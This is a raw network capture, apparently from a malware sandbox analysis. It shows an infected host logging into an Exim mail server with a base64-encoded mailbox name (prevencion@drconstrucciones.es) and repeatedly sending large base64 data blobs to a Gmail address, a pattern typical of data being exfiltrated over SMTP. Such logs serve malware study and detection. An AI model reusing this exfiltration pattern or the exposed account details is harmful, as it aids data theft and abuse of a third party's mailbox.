May 27, 2024 12:46:20.021673918 CEST	587	49739	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:46:20.021877050 CEST	49739	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:46:20.214730024 CEST	587	49739	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:46:20.713449001 CEST	587	49739	185.5.126.24	192.168.2.7	250 OK id=1sBXrw-00009O-2h
May 27, 2024 12:46:20.921143055 CEST	587	49739	185.5.126.24	192.168.2.7	250 OK id=1sBXrw-00009O-2h
May 27, 2024 12:46:21.210557938 CEST	587	49739	185.5.126.24	192.168.2.7	250 OK id=1sBXrw-00009O-2h
May 27, 2024 12:46:24.718131065 CEST	49739	587	192.168.2.7	185.5.126.24	QUIT
May 27, 2024 12:46:25.112452030 CEST	587	49739	185.5.126.24	192.168.2.7	221 cpanel05.almazena.com closing connection
May 27, 2024 12:46:25.855113029 CEST	587	49740	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:46:25 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:46:25.855308056 CEST	49740	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:46:26.054120064 CEST	587	49740	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:46:26.054315090 CEST	49740	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:46:26.253540039 CEST	587	49740	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:46:27.154030085 CEST	587	49741	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:46:27 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:46:27.154226065 CEST	49741	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:46:30.422977924 CEST	587	49742	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:46:30 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:46:30.426908970 CEST	49742	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:46:30.618351936 CEST	587	49742	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:46:30.624757051 CEST	49742	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:46:30.815628052 CEST	587	49742	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:46:31.015575886 CEST	587	49742	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:46:31.015832901 CEST	49742	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:46:31.206415892 CEST	587	49742	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:46:31.206675053 CEST	49742	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:46:31.497884035 CEST	587	49742	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:46:31.498035908 CEST	49742	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:46:31.688463926 CEST	587	49742	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:46:31.700795889 CEST	49742	587	192.168.2.7	185.5.126.24	392W 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 tFAwpKWigBKKKKACiiloASkpaKACilpKAGS/8
May 27, 2024 12:46:32.880245924 CEST	587	49743	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:46:32 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:46:32.880496025 CEST	49743	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:46:33.072016001 CEST	587	49743	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:46:33.072226048 CEST	49743	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:46:33.263165951 CEST	587	49743	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:46:33.463524103 CEST	587	49743	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:46:33.463737965 CEST	49743	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:46:33.654304028 CEST	587	49743	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:46:33.654501915 CEST	49743	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:46:33.961834908 CEST	587	49743	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:46:33.961988926 CEST	49743	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:46:34.162502050 CEST	587	49743	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:46:34.175625086 CEST	49743	587	192.168.2.7	185.5.126.24	392W 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 tFAwpKWigBKKKKACiiloASkpaKACilpKAGS/8
May 27, 2024 12:46:34.654141903 CEST	587	49743	185.5.126.24	192.168.2.7	250 OK id=1sBXsA-0000Bj-2X
May 27, 2024 12:46:35.165323973 CEST	49743	587	192.168.2.7	185.5.126.24	QUIT
May 27, 2024 12:46:35.557421923 CEST	587	49743	185.5.126.24	192.168.2.7	221 cpanel05.almazena.com closing connection
May 27, 2024 12:46:36.316772938 CEST	587	49744	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:46:36 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:46:36.321573019 CEST	49744	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:46:36.518409967 CEST	587	49744	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:46:36.518652916 CEST	49744	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:46:36.715774059 CEST	587	49744	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:46:37.642330885 CEST	587	49745	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:46:37 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:46:37.642528057 CEST	49745	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:46:37.836956024 CEST	587	49745	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:46:37.837814093 CEST	49745	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:46:38.032402039 CEST	587	49745	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:46:38.243506908 CEST	587	49745	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:46:38.243735075 CEST	49745	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:46:38.438308954 CEST	587	49745	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:46:38.438517094 CEST	49745	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:46:38.665163994 CEST	587	49745	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:46:38.666304111 CEST	49745	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:46:38.860809088 CEST	587	49745	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:46:38.877194881 CEST	49745	587	192.168.2.7	185.5.126.24	392W PtUM/iPR7gxmfSbiUxfcL26Ns+mTx0FSJ4r06MuY9PvELtuYrCo3HGMnnk4A/Kue50+x l5fev8y34u/5Fq7/AOAf+hrXJVqa54gj1TTnsra1uEMhXc8qhQADn1PpWXXo5cnzTlbT T9TyM6tGlShdXvJ79Hy2/JhRQaK9Y+cCkpaSgAooooAKKKKACiiigAooooAKKKKACiii gBKKKKYwpKWigBKKWkoAKKKKACkpaKBiUUtFACUUtJQAUUUUDCkpaSgAooooASilpKBh RRRQAlFFFMAooooAKSlpKBhRRRTAKSlooASilpKBiUUtFACUUtJQAUlLRQMSiiimAUUU UAFJS0lABRRRTGFFFFIA9K0Zv9Z+A/lWcOtaM3+s/AfyqJboa3GUlLRSLEoopaYCUUtJ QAUUUUAFFFFACUtBooAKKKKAGv8A6mX/AHDVaz/1p+lWX/1Mv+4arWf+sb6ULqBbopKW gYUUUUAFJS0lABRRRQAUUtFACUUtFAxKKWigBKKWigAooooAKsWX+vP+438qr1Yss+fj /Zb+RqJ/CxM51utMp70w11myEpKWk/CkUhKSlpKQw9qSl7803pSGKabS0lIYdKKKKBiU lKaSkMKT8aX2ooAPak60UZ9aBnUhWZHdUdkj5dlUkL9T2pGysSTMrLFIcI5UhW+h71XI mM9nOm/7PbTTNcsB8qqVH3vTK5A9elJaO0N411M5S0n+yrbO/CFgBjB6fLgg+nevLnjH GTVtjGnl0ZwUubcuGKUXAtzDKJyMiLyzuI+mM0xQzLI6o7LF/rCFJCfX0/GswW94NDOm tHP/AGkYnYQlT5vl+apxt69QWx6c9KuStJLqFvcRuzw2ssn2115UHy1DFj/tYIHqc4qP rz7Gn9lx7snIYRxyFH2SnbG2w4c+gPelkDRSeXKjxyf3HUqfyNZssdwyXMqiYwXKWq2u z/loRt4Q9yAGBxnB471I+20kh33ZspY4MW9vdxvvjPmN8zFVPqSMqvUcYGTaxj6oh5au ki7n5nXDbkzuXacrjrkdsUciJJSriKThHKkK30PQ1WJjS91eKPVoPNlN35oKTAou1sKD sweeTz2GM94Uju2t1VUlPmC1RZyf3V0QNqrGDwCM88nofu9KiOObaVt7fiVLK0oyfNtf 8C/R0poZim/y227DJnI+6G2k9fXilYb4yB3FeipKXws8iVOUPiVhdreYY9j7x/DtOeme n0pN42s3OFOGODwfQ+nSs7UWn/sprmOQLPcIlqMHkMh+Y/8AfKx/99GrMiSXF2NOWXb/ AGuGuQ+eE+6yjOexWUfjXBLGNPb+v+GPVjlsZL4vP5f8OXEhnkDNHbzOF+8ViYgcZ549 CDSQxyzxmSCGWVF4LRxswH4gVjkajqlkbuyjn/5Cczq6A4iXbHtJPRQAOp9Klurq2uLe eTy7iVH1K4MTQyBB9xOSCpyCee1SsbJ9P60/zLeWQWvNt/wf8jRkV4rdbiSKVIWxtkaM hTnpg4xSE7fM3Kw8ogPlT8memfSsjVpvKtZUie5luZ9Pto2jKBY0GEbdnOS3HoMZNaeo 